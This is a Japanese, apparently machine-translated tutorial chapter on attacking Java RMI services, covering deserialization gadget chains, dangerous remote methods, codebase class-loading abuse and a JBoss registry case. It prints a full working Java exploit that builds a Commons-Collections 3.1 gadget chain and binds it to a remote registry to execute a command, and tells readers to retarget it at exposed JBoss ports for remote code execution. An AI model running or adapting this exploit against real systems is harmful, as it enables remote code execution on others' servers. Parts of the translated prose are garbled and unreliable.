0x01序文
最後の章では、rmiの基本概念を紹介し、rmiの使用法について簡単に説明しました。この章では、特定のコードと実践を組み合わせてrmiを攻撃する方法について説明します。
0x02逆シリアル化を使用してRMIを攻撃する
これは前述の攻撃方法でもあり、この攻撃には2つの前提があります。
- rmiサーバーは、オブジェクト型パラメーターを受信するためのリモートメソッドを提供します
- バージョン3.1のcommons-collections.jarなど、rmiサーバーのlibまたはクラスパスにpop使用チェーンが含まれるjarパッケージ
ケースを直接見てみましょう(RMIサーバーはまだ前の章のデモを使用しています)。
サーバ側:
package server;
import model.Hello;
import model.impl.Helloimpl;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws RemoteException{
// 创建对象
Hello hello = new Helloimpl();
// 创建注册表
Registry registry = LocateRegistry.createRegistry(1099);
// 绑定对象到注册表,并给他取名为hello
registry.rebind("hello", hello);
}
}
次のように、悪意のあるクライアントを構築し、悪意のあるシリアル化されたオブジェクトをサーバーに送信する必要があります。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class RMIExploit {
public static void main(String[] args) throws Exception {
// 远程RMI Server的地址
String ip = "192.168.201.24";
int port = 1099;
// 要执行的命令
String command = "gnome-calculator";
final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {
String.class, Class[].class },
new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] {
Object.class, Object[].class },
new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] {
String.class },
new Object[] {
command }),
new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field valfield = badAttributeValueExpException.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(badAttributeValueExpException, entry);
// 上面都是我们接触过得代码,正常的payload生成,下面的就是把它包装一下,让它可以在rmi中使用
// 为了能够封装到AnnotationInvocationHandler中,需要把badAttributeValueExpException先放到一个map结构中
String name = "axin";
Map<String, Object> map = new HashMap<String, Object>();
map.put(name, badAttributeValueExpException);
// 获得AnnotationInvocationHandler的构造函数
Constructor cl = Class.forName(ANN_INV_HANDLER_CLASS).getDeclaredConstructors()[0];
cl.setAccessible(true);
// 实例化一个Remote.class的代理
InvocationHandler hl = (InvocationHandler)cl.newInstance(Override.class, map);
Object object = Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{
Remote.class}, hl);
Remote remote = Remote.class.cast(object);
Registry registry=LocateRegistry.getRegistry(ip,port);
registry.bind(name, remote);
}
}
コードの目的はコメントで説明されていますが、bind(name、remote)のリモートオブジェクトはRemoteインターフェースを実装する必要があるため、コードの最後のポイントを強調する必要がありますが、badAttributeValueExpExceptionはこのインターフェースを実装していないため、ここで非常に巧妙な手法が使用されます。つまり、動的プロキシを使用してRemote.classをプロキシし、このクラスのハンドラーを、badAttributeValueExpExceptionオブジェクトをカプセル化するAnnotationInvocationHandlerに設定します。また、悪意のあるシリアル化されたオブジェクトをサーバーに送信することもできます。
ps:オブジェクトはハンドラーにカプセル化されますが、Javaはレイヤーごとにデシリアライズされるため、オブジェクトがデシリアライズされないことを心配する必要はありません。
一部の記事では、悪意のあるオブジェクトをレジストリに直接バインドすることはできず、ローカルでバインド、再バインド、バインド解除、およびその他のメソッドしか実行できないと述べていますが、私のテストの結果、可能です。実験結果は次のとおりです。
サーバー(私の物理マシン):
攻撃者(私の仮想マシン):
実際、この攻撃方法はまだレジストリを攻撃しています(そうである必要があります)。レジストリとリモートオブジェクト提供サーバーが同じホスト上にない場合、リモートオブジェクト提供サーバーではなく、通常はレジストリとリモートオブジェクト提供サーバーを攻撃していることに注意する必要があります。サーバーはすべて同じホストです。
同じホスト上になく、リモートオブジェクトプロバイダーサーバーを攻撃したい場合は、上記のbindメソッドを呼び出す方法は使用できません。代わりに、冒頭で述べた2つの条件を満たし、実際の状況に基づいて追加のexpを書き込む必要があります。
0x03危険なリモートメソッドを直接呼び出す
タイトルが示すように、サーバー側がオブジェクトをレジストリに登録し、このオブジェクトにファイルの書き込み、コマンドの実行などの特定の危険な操作を実行できるメソッドがある場合、クライアント側を直接書き込むことができます。次に、この危険なメソッドを呼び出して攻撃を完了します。この攻撃方法には、非常に優れたツールがあります。https://github.com/NickstaDB/BaRMIe
このツールの原則は、list()メソッドまたはブルートフォースクラッキングを使用して、危険なオブジェクトを検出するために、すべてのリモート登録リモートオブジェクトをリストすることです(^^と推測)。
0x04 rmi動的クラスローディング
RMIのコア機能の1つは動的クラス読み込みです。現在のJVMに特定のクラスの定義がない場合、リモートクラスのURLからこのクラスのクラスをダウンロードでき、動的に読み込まれたオブジェクトクラスファイルをWebサービスでホストできます。これにより、リモートアプリケーションの機能を動的に拡張でき、複数のRMIアプリケーションを動的にロードしてRMIレジストリにバインドできます。クライアントの場合、サーバーの戻り値は一部のサブクラスのオブジェクトインスタンスである可能性があり、クライアントにはこれらのサブクラスのクラスファイルがありません。クライアントがこれらのサブクラスでオーバーライドされたメソッドを正しく呼び出す必要がある場合も同様です。実行時に追加のクラスを動的にロードする機能が必要です。クライアントは、RMIレジストリと同じメカニズムを使用します。RMIサーバーはURLをクライアントに渡し、クライアントはHTTPリクエストを介してこれらのクラスをダウンロードします。
したがって、クライアントがクラスをロードする場所を制御できる場合、攻撃の目的を達成するためにクライアントに悪意のあるクラスをロードさせることができます。
rmiの動的クラスローディングに関して、2つの典型的な攻撃方法があります。1つは有名なJNDIインジェクションであり、もう1つはコードベースのセキュリティ問題です。JNDIインジェクションについては、後で別の章を開きます。ここでは、コードベースのセキュリティ問題について説明します。コードリファレンスを使用してください。https://paper.seebug.org/1091/#java-rmi_3ここで簡単に説明します。
先に述べたように、動的なクラスローディングは存在しないクラスファイルをローカルにURLからロードできるので、URLはどこに指定されていますか?実際、それはjava.rmi.server.codebaseプロパティで指定されています。 ?
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
上記のように設定した後、クラスcom.axin.helloがローカルで見つからない場合、アドレスに移動します。http://127.0.0.1:8000/com/axin/hello.class
クラスファイルをローカルにダウンロードして、正しく呼び出せるようにします。
コードベースリファレンス:https://blog.csdn.net/bigtree_3721/article/details/50614289
長い間話をした後、まだ攻撃する方法について言及していませんでしたか?クライアントがクラスをどこからロードするかを制御できれば、攻撃を完了することができます。それをどのように制御すればよいでしょうか。実際、コードベースの値は相互に指定されています。つまり、クライアントはサーバーにクラスのロード場所を通知し、サーバーはクライアントにクラスのロード場所を通知します。これはコードベースの正しい使用方法であり、コードベースの値は相手によって制御可能です。ローカルで指定されたコードベースを使用する代わりに、サーバーが上記のコードを使用してコードベースを設定すると、サーバーによって設定されたコードベースの値とともにオブジェクトがクライアントに送信され、クライアントはサーバーから返されたオブジェクトを受信しますクラスファイルがローカルで見つからない場合、サーバーから渡されたコードベース属性を確認し、オブジェクトアドレスに移動してクラスファイルを読み込みます。相手がコードベースを提供しない場合、ローカルで設定されたコードベースを誤って使用してクラスを読み込みます。
この悪用は非常に単純で、非常に一般的なようですが、実際、この悪用には前提条件があります(以下のコンテンツはhttps://paper.seebug.org/1091/#java-rmi_3から引用されています)。
- Java SecurityManagerの制限により、デフォルトではリモートロードは許可されていません。クラスをリモートでロードする必要がある場合は、RMISecurityManagerをインストールしてjava.security.policyを構成する必要があります。
- プロパティjava.rmi.server.useCodebaseOnlyの値はfalseでなければなりません。ただし、JDK 6u45および7u21以降では、java.rmi.server.useCodebaseOnlyのデフォルト値はtrueです。値がtrueの場合、リモートクラスファイルの自動読み込みは無効になり、クラスファイルは現在の仮想マシンのCLASSPATHおよびjava.rmi.server.codebaseで指定されたパスからのみ読み込まれます。この属性を使用して、仮想マシンが他のコードベースアドレスからクラスを動的にロードしないようにし、RMI ClassLoaderのセキュリティを向上させます。
コードベースの指定が相互であるため、条件が満たされている限り、クライアントとサーバーはお互いに攻撃できることに言及する価値があります〜
0x05ケース1 jbossのrmiレジストリを攻撃する
jbossがrmiポートを外部に開放すると、RCEを簡単に実装できます。実際、最初のデモと同じように、逆シリアル化攻撃も使用します。
- スキャンポート
- Exp open
上記のPOCを使用して直接expを変更し、IPポートまたは何かを変更してください
jbossのrmiレジストリはポート1090 \ 1091 \ 1098で実行され、1099はrmiレジストリではなく、成功するためにはポート1090を攻撃する必要があることに言及する価値があります。ターゲット?攻撃1091と1098は次のエラーを爆発させます
脆弱性分析、マイニング、詳細を確認するには私の公式アカウントにアクセスしてください